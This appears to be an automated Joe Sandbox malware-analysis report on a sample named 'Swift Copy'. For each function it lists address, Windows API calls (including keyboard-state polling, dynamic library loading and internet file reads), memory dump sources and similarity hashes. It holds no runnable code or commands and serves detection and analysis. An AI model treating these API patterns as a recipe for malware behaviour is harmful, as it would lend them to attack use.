Function 00DE8AFB Relevance: 7.6, APIs: 5, Instructions: 143COMMON

Download Yara Rule

APIs

GetPrivateProfileSectionW.KERNEL32(00000003,?,00007FFF,?), ref: 00DE8BAE
GetPrivateProfileSectionW.KERNEL32(?,00000003,00000003,?), ref: 00DE8BDA
WritePrivateProfileSectionW.KERNEL32(?,?,?), ref: 00DE8C32
WritePrivateProfileStringW.KERNEL32(00000003,00000000,00000000,?), ref: 00DE8C57
WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?), ref: 00DE8C5F

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: PrivateProfile$SectionWrite$String
String ID:
API String ID: 2832842796-0
Opcode ID: cfc6ce48d65d9d7693af81a26770bb0b419709fa984eef014bb4b033563bd033
Instruction ID: 19740c85e3923673e32527a0c5cf7024b072977d3ff7f06ffb6a61d56de54367
Opcode Fuzzy Hash: cfc6ce48d65d9d7693af81a26770bb0b419709fa984eef014bb4b033563bd033
Instruction Fuzzy Hash: 35514835A00214AFCB05EF65C881A6DBBF5FF49314F18C458E849AB362DB31ED51DBA1

Function 00DF8EE4 Relevance: 7.6, APIs: 5, Instructions: 143libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(?,00000000,?), ref: 00DF8F40
GetProcAddress.KERNEL32(00000000,?), ref: 00DF8FD0
GetProcAddress.KERNEL32(00000000,00000000), ref: 00DF8FEC
GetProcAddress.KERNEL32(00000000,?), ref: 00DF9032
FreeLibrary.KERNEL32(00000000), ref: 00DF9052

Part of subcall function 00D8F6C9: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,?,00000000,?,?,?,00DE1043,?,753CE610), ref: 00D8F6E6
Part of subcall function 00D8F6C9: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00DCFA64,00000000,00000000,?,?,00DE1043,?,753CE610,?,00DCFA64), ref: 00D8F70D

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: AddressProc$ByteCharLibraryMultiWide$FreeLoad
String ID:
API String ID: 666041331-0
Opcode ID: f3f6f325532ed0dba8d314051126d5a8cd30f122612720714501b340a2a522f4
Instruction ID: 69d1d70171ad1aff886a5f722aa7694b9fef2d6c8ffc6476fe4805d4afc423c5
Opcode Fuzzy Hash: f3f6f325532ed0dba8d314051126d5a8cd30f122612720714501b340a2a522f4
Instruction Fuzzy Hash: B6516C35A01209DFC701DF58C4949ADBBF1FF49324B09C199E90AAB362DB31ED85CBA1

Function 00E06B76 Relevance: 7.6, APIs: 5, Instructions: 131windowCOMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(00000002,000000F0,?), ref: 00E06C33
SetWindowLongW.USER32(?,000000EC,?), ref: 00E06C4A
SendMessageW.USER32(00000002,00001036,00000000,?), ref: 00E06C73
ShowWindow.USER32(00000002,00000000,00000002,00000002,?,?,?,?,?,?,?,00DEAB79,00000000,00000000), ref: 00E06C98
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000027,00000002,?,00000001,00000002,00000002,?,?,?), ref: 00E06CC7

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: Window$Long$MessageSendShow
String ID:
API String ID: 3688381893-0
Opcode ID: 8ce9b522106ce36b357b7612b1b2321d0ef6a3a21bfcc5e43da2d1f4cfd87827
Instruction ID: 9a114a3d04072217cf80ae99a9d57e627772fb9344c427265d265f53d3074369
Opcode Fuzzy Hash: 8ce9b522106ce36b357b7612b1b2321d0ef6a3a21bfcc5e43da2d1f4cfd87827
Instruction Fuzzy Hash: D0410635A00104AFEB24CF69CC98FA9BBA4EB49354F141268F995B72E0C371EDE1CA50

Function 00DA2051 Relevance: 7.6, APIs: 5, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00DA20C3
_free.LIBCMT ref: 00DA20E3

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 3e494f626ac7851bd9daa6b0e3169f1f2ca214470fb0b76da57a030484b52f4c
Instruction ID: b68bf111bcf8e40d8fdbd4f4fd740ed4fefbc10b2a18847acb0032d784d5a1dd
Opcode Fuzzy Hash: 3e494f626ac7851bd9daa6b0e3169f1f2ca214470fb0b76da57a030484b52f4c
Instruction Fuzzy Hash: E341D172A002049FCB24DF7EC881A6EB7F5EF8A314B194569E515EB351D731ED01CBA1

Function 00D8912D Relevance: 7.6, APIs: 5, Instructions: 121keyboardCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 00D89141
ScreenToClient.USER32(00000000,?), ref: 00D8915E
GetAsyncKeyState.USER32(00000001), ref: 00D89183
GetAsyncKeyState.USER32(00000002), ref: 00D8919D

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: AsyncState$ClientCursorScreen
String ID:
API String ID: 4210589936-0
Opcode ID: ac46a7b7c3757b5e77c8ecdd2a6c3c2842b726e775d9a3929c36bd7709d39354
Instruction ID: 5d00a6e0fbe65a34456523a3662950f7e00c6837a053ff43d9b375af5e6e3dfd
Opcode Fuzzy Hash: ac46a7b7c3757b5e77c8ecdd2a6c3c2842b726e775d9a3929c36bd7709d39354
Instruction Fuzzy Hash: 09414D71A0860BBBDB15AF64C858BFEF7B4FB05324F284219E469A32D0C7305994CF61

Function 00DE3874 Relevance: 7.6, APIs: 5, Instructions: 101windowCOMMON

Download Yara Rule

APIs

GetInputState.USER32 ref: 00DE38CB
TranslateAcceleratorW.USER32(?,00000000,?), ref: 00DE3922
TranslateMessage.USER32(?), ref: 00DE394B
DispatchMessageW.USER32(?), ref: 00DE3955
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00DE3966

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: Message$Translate$AcceleratorDispatchInputPeekState
String ID:
API String ID: 2256411358-0
Opcode ID: 1c66a784bb501120044433764cd88ffa3b2f974099eb347494cc80f8a5c67f19
Instruction ID: 8e14873c02f75c9b66dce667bcc004eb0fcc1a7ea00186e757b6c8067fc6716b
Opcode Fuzzy Hash: 1c66a784bb501120044433764cd88ffa3b2f974099eb347494cc80f8a5c67f19
Instruction Fuzzy Hash: 7B31A5745043C19EEF35EB379C4DBB637A8AB46304F180559E452A3091E3A596C9CF31

Function 00DECF1A Relevance: 7.6, APIs: 5, Instructions: 93networkfileCOMMON

Download Yara Rule

APIs

InternetQueryDataAvailable.WININET(?,?,00000000,00000000), ref: 00DECF38
InternetReadFile.WININET(?,00000000,?,?), ref: 00DECF6F
GetLastError.KERNEL32(?,00000000,?,?,?,00DEC21E,00000000), ref: 00DECFB4
SetEvent.KERNEL32(?,?,00000000,?,?,?,00DEC21E,00000000), ref: 00DECFC8
SetEvent.KERNEL32(?,?,00000000,?,?,?,00DEC21E,00000000), ref: 00DECFF2

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: EventInternet$AvailableDataErrorFileLastQueryRead
String ID:
API String ID: 3191363074-0
Opcode ID: 72e9a67defac5b006e4ac1e5516ec192f02aa178dadc1fd3aab372a2e87706ed
Instruction ID: 3adc5fd8e1c5620ce1e5b6bd2c608e7a4546e84a5122e6b53c0fcda07daf4f9f
Opcode Fuzzy Hash: 72e9a67defac5b006e4ac1e5516ec192f02aa178dadc1fd3aab372a2e87706ed
Instruction Fuzzy Hash: 7C317C71615645EFDB20EFA6C884AABBBF9EF04315B24442EF546E2110DB30EE469B70

Function 00DD1901 Relevance: 7.6, APIs: 5, Instructions: 93sleepwindowCOMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 00DD1915
PostMessageW.USER32(00000001,00000201,00000001), ref: 00DD19C1
Sleep.KERNEL32(00000000,?,?,?), ref: 00DD19C9
PostMessageW.USER32(00000001,00000202,00000000), ref: 00DD19DA
Sleep.KERNEL32(00000000,?,?,?,?), ref: 00DD19E2

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: MessagePostSleep$RectWindow
String ID:
API String ID: 3382505437-0
Opcode ID: 5a58f896a117b2b0e1c6400d70985469bb0a8f5c694f1718a4615a36f51dba62
Instruction ID: 10d01df5e9b39fca8e8eac3ed05f6140c501912faf25253cb3aca042eaf37054
Opcode Fuzzy Hash: 5a58f896a117b2b0e1c6400d70985469bb0a8f5c694f1718a4615a36f51dba62
Instruction Fuzzy Hash: 3131AD75A00219EFCB10CFA8D9A9ADE3BB5EB04315F14432AF961A72D1C770A944CFA1

Function 00E05706 Relevance: 7.6, APIs: 5, Instructions: 82windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001053,000000FF,?), ref: 00E05745
SendMessageW.USER32(?,00001074,?,00000001), ref: 00E0579D
_wcslen.LIBCMT ref: 00E057AF
_wcslen.LIBCMT ref: 00E057BA
SendMessageW.USER32(?,00001002,00000000,?), ref: 00E05816

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: MessageSend$_wcslen
String ID:
API String ID: 763830540-0
Opcode ID: 84639ec7b136dd56979e106584935e8fbc4edd012b2c11e0045254baee25475a
Instruction ID: 1604d9476166af1f5f399116128baf82fa31f0fd6fb8091b48d0cbbe2d13a46b
Opcode Fuzzy Hash: 84639ec7b136dd56979e106584935e8fbc4edd012b2c11e0045254baee25475a
Instruction Fuzzy Hash: 14218F36904618EADF208FA0DC84AEE77B8FF44724F109216E929BA1C0E77089C5CF61

Function 00DF0930 Relevance: 7.6, APIs: 5, Instructions: 69COMMON

Download Yara Rule

APIs

IsWindow.USER32(00000000), ref: 00DF0951
GetForegroundWindow.USER32 ref: 00DF0968
GetDC.USER32(00000000), ref: 00DF09A4
GetPixel.GDI32(00000000,?,00000003), ref: 00DF09B0
ReleaseDC.USER32(00000000,00000003), ref: 00DF09E8

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: Window$ForegroundPixelRelease
String ID:
API String ID: 4156661090-0
Opcode ID: fdba4f16e60bfdb8f94a553f7f40597557e023fef3c919c3ff1f026dba040308
Instruction ID: e36b53110bd9ed318a2d33169a0b208c547aeedbac9b3c732e0c872f8e52f282
Opcode Fuzzy Hash: fdba4f16e60bfdb8f94a553f7f40597557e023fef3c919c3ff1f026dba040308
Instruction Fuzzy Hash: 19218135600204AFD714EF65D885AAEBBF5EF48704F148169F94AA7362DB71AC44CBA0

Function 00DACDBD Relevance: 7.6, APIs: 5, Instructions: 68COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 00DACDC6
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00DACDE9

Part of subcall function 00DA3820: RtlAllocateHeap.NTDLL(00000000,?,00E41444,?,00D8FDF5,?,?,00D7A976,00000010,00E41440,00D713FC,?,00D713C6,?,00D71129), ref: 00DA3852

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 00DACE0F
_free.LIBCMT ref: 00DACE22
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00DACE31

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: ByteCharEnvironmentMultiStringsWide$AllocateFreeHeap_free
String ID:
API String ID: 336800556-0
Opcode ID: 7a4263831ac30ad41030af2193f81e5d137625d44ec2dc22200480757b116b35
Instruction ID: f0b5190b18b11cb462a7dd3a53feee2ffecffc0353f06f81ec6a12b20e186583
Opcode Fuzzy Hash: 7a4263831ac30ad41030af2193f81e5d137625d44ec2dc22200480757b116b35
Instruction Fuzzy Hash: 800147726122107F672117BB6C8CD3B796DDFC7BB03281229FD00E3200EA218E0181F1

Function 00D89639 Relevance: 7.6, APIs: 5, Instructions: 66COMMON

Download Yara Rule

APIs

ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 00D89693
SelectObject.GDI32(?,00000000), ref: 00D896A2
BeginPath.GDI32(?), ref: 00D896B9
SelectObject.GDI32(?,00000000), ref: 00D896E2

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: ObjectSelect$BeginCreatePath
String ID:
API String ID: 3225163088-0
Opcode ID: 96a3aa06df7ab3e50637350e2bb6ea44deec94463a10ee875255caec79da22ee
Instruction ID: c68bfd2233d75da9c05a3c3c7e2bc7b92cccd34c48163cca999b46f9b47729c8
Opcode Fuzzy Hash: 96a3aa06df7ab3e50637350e2bb6ea44deec94463a10ee875255caec79da22ee
Instruction Fuzzy Hash: 5B217134802305EFDF11AF66DC257B97B74BB91365F280256F560B61A0E37198DACFA0

Function 00DD5711 Relevance: 7.6, APIs: 5, Instructions: 61COMMON

Download Yara Rule

APIs

_memcmp.LIBVCRUNTIME ref: 00DD5726
_memcmp.LIBVCRUNTIME ref: 00DD5744
_memcmp.LIBVCRUNTIME ref: 00DD5757
_memcmp.LIBVCRUNTIME ref: 00DD576F
_memcmp.LIBVCRUNTIME ref: 00DD5787

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: b3dd3ddf4004d5d229b6f8fe4b9a4f6ffcdd4e2a910e3a66ef6685671dfc31cb
Instruction ID: 63e93584a7a0f0d4e23de71208c070de31638c5e68db19b8dddeb93ae26a7588
Opcode Fuzzy Hash: b3dd3ddf4004d5d229b6f8fe4b9a4f6ffcdd4e2a910e3a66ef6685671dfc31cb
Instruction Fuzzy Hash: C501926564170AFAE6185510AD82FBA735CDB21394B244022FD14AA785F661ED6086B4

Function 00DA2DF8 Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00D9F2DE,00DA3863,00E41444,?,00D8FDF5,?,?,00D7A976,00000010,00E41440,00D713FC,?,00D713C6), ref: 00DA2DFD
_free.LIBCMT ref: 00DA2E32
_free.LIBCMT ref: 00DA2E59
SetLastError.KERNEL32(00000000,00D71129), ref: 00DA2E66
SetLastError.KERNEL32(00000000,00D71129), ref: 00DA2E6F

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: ErrorLast$_free
String ID:
API String ID: 3170660625-0
Opcode ID: 564f89531f80c5e979cd7ec1be7cbc40cbe7f61fe21ce710ba50d82e81732851
Instruction ID: 08656b00cde4fcf5778cd19b554f325b5773cc2f27b8fa44b74ffb6942edd344
Opcode Fuzzy Hash: 564f89531f80c5e979cd7ec1be7cbc40cbe7f61fe21ce710ba50d82e81732851
Instruction Fuzzy Hash: 2501F4322456006FC612273F6C4AE3B266AEBD37B1B384128F465F21D2EB79CE854130

Function 00DD000E Relevance: 7.5, APIs: 5, Instructions: 47stringCOMMON

Download Yara Rule

APIs

CLSIDFromProgID.OLE32(?,?,?,00000000,?,?,?,-C000001E,00000001,?,00DCFF41,80070057,?,?,?,00DD035E), ref: 00DD002B
ProgIDFromCLSID.OLE32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,00DCFF41,80070057,?,?), ref: 00DD0046
lstrcmpiW.KERNEL32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,00DCFF41,80070057,?,?), ref: 00DD0054
CoTaskMemFree.OLE32(00000000,?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,00DCFF41,80070057,?), ref: 00DD0064
CLSIDFromString.OLE32(?,?,?,?,?,00000000,?,?,?,-C000001E,00000001,?,00DCFF41,80070057,?,?), ref: 00DD0070

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

